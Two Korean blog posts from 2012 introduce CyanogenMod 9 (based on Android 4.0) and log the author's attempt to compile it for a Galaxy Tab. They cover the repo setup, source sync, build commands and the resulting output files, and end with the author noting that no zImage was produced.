CM9 - 안드로이드 4.0 아이스크림 샌드위치를 기반으로 한 CyanogenMod - 개발, 베타 테스트중

CyanogenMod - CyanogenMod Android Rom

좀 더 자세히 알기 위해서 시아노젠 닷컴 (http://www.cyanogenmod.com/)에 접속했더니. 음 장난아닌데.
http://www.cyanogenmod.com/devices 에 나온 많은 툴들을 쓸 수 있게 해놨다.

펌웨어뿐 아니라 lock screen, phone googles, open vpn, 테마 설정 등 좋은 기능도 추가해 두고, (http://www.cyanogenmod.com/about/features)

포럼(http://forum.cyanogenmod.com/)도 나름 잘 돌아가는 모습이 보인다.

 

갤럭시 노트의 경우는 벌써, CM9 으로 테스트가 가능하다고 한다.

http://forum.xda-developers.com/showthread.php?t=1423795

image

 

어서 감을 잘 잡아야지..

Posted by '김용환'
,


LG U+ 갤택에 아이스크림을 올릴기 위해서, 이것저것 해보고 있다. 
네이버 갤탭 사용자 카페에서 SK와 와탭은 되는데, LG U+ 제품은 잘 안된다고 한다.
안되도 공부하는 셈치고 해보려고 한다. 
xda 개발자가 쓴 내용을 바탕으로 갤택 7인치 아이스크림 버전을 다운받고 컴파일을 완료했다.
http://forum.xda-developers.com/showthread.php?t=1385153


1. 툴 설치

소스 컴파일을 위한 준비를 한다.
http://source.android.com/source/initializing.html
아래 참조 : http://knight76.tistory.com/entry/안드로이드-소스-컴파일-ubuntu-1104-android-gingerbread


2. repo 다운로드

$ curl https://dl-ssl.google.com/dl/googlesource/git-repo/repo > repo
$ chmod a+x repo


3. 안드로이드 소스 다운로드

$ mkdir android4
$ cd android4
$ repo init -u https://android.googlesource.com/platform/manifest -b android-4.0.1_r1
$ repo sync

4.  xda의 cm9 소스  다운로드

mkdir cm9
cd cm9
repo init -u git://github.com/sgt7/android.git -b ics
repo sync

5. 컴파일 준비 및 컴파일

$ . build/envsetup.sh
including device/moto/stingray/vendorsetup.sh
including device/moto/wingray/vendorsetup.sh
including device/samsung/galaxytab/vendorsetup.sh
including device/samsung/maguro/vendorsetup.sh
including device/samsung/toro/vendorsetup.sh
including device/ti/panda/vendorsetup.sh
including vendor/cm/vendorsetup.sh
including sdk/bash_completion/adb.bash


$ lunch cm_galaxytab-userdebug

============================================
PLATFORM_VERSION_CODENAME=REL
PLATFORM_VERSION=4.0.3
TARGET_PRODUCT=cm_galaxytab
TARGET_BUILD_VARIANT=userdebug
TARGET_BUILD_TYPE=release
TARGET_BUILD_APPS=
TARGET_ARCH=arm
TARGET_ARCH_VARIANT=armv7-a-neon
HOST_ARCH=x86
HOST_OS=linux
HOST_BUILD_TYPE=release
BUILD_ID=MR1
============================================

 $ make bacon


 6. 컴파일 결과 확인
타겟 보드향이기 때문에 out/target 에 디렉토리가 있을 것이다.

android4/out/target/product/galaxytab $ ls -al
total 22428
drwxr-xr-x  8 kimyonghwan kimyonghwan    4096 2012-01-09 20:43 .
drwxr-xr-x  3 kimyonghwan kimyonghwan    4096 2012-01-09 20:36 ..
-rw-r--r--  1 kimyonghwan kimyonghwan 8563349 2012-01-09 20:43 boot.img
-rw-r--r--  1 kimyonghwan kimyonghwan   18719 2012-01-09 20:36 clean_steps.mk
drwxr-xr-x 15 kimyonghwan kimyonghwan    4096 2012-01-09 22:26 obj
-rw-r--r--  1 kimyonghwan kimyonghwan     571 2012-01-09 20:36 previous_build_config.mk
-rw-r--r--  1 kimyonghwan kimyonghwan  590256 2012-01-09 20:42 ramdisk.img
-rw-r--r--  1 kimyonghwan kimyonghwan 3330560 2012-01-09 20:42 ramdisk-recovery.cpio
-rw-r--r--  1 kimyonghwan kimyonghwan 1850517 2012-01-09 20:42 ramdisk-recovery.img
drwxr-xr-x  3 kimyonghwan kimyonghwan    4096 2012-01-09 20:42 recovery
-rw-r--r--  1 kimyonghwan kimyonghwan 8563349 2012-01-09 20:43 recovery.img
drwxr-xr-x  9 kimyonghwan kimyonghwan    4096 2012-01-09 20:42 root
drwxr-xr-x  5 kimyonghwan kimyonghwan    4096 2012-01-09 20:43 symbols
drwxr-xr-x  9 kimyonghwan kimyonghwan    4096 2012-01-09 23:10 system
drwxr-xr-x  2 kimyonghwan kimyonghwan    4096 2012-01-09 20:43 utilities


boot.img, root, system fs 은 나왔는데, zImage 파일이 없다. 자동으로 나올줄 알았는데..
cm9 공부좀 해야겠는데...

Posted by '김용환'
,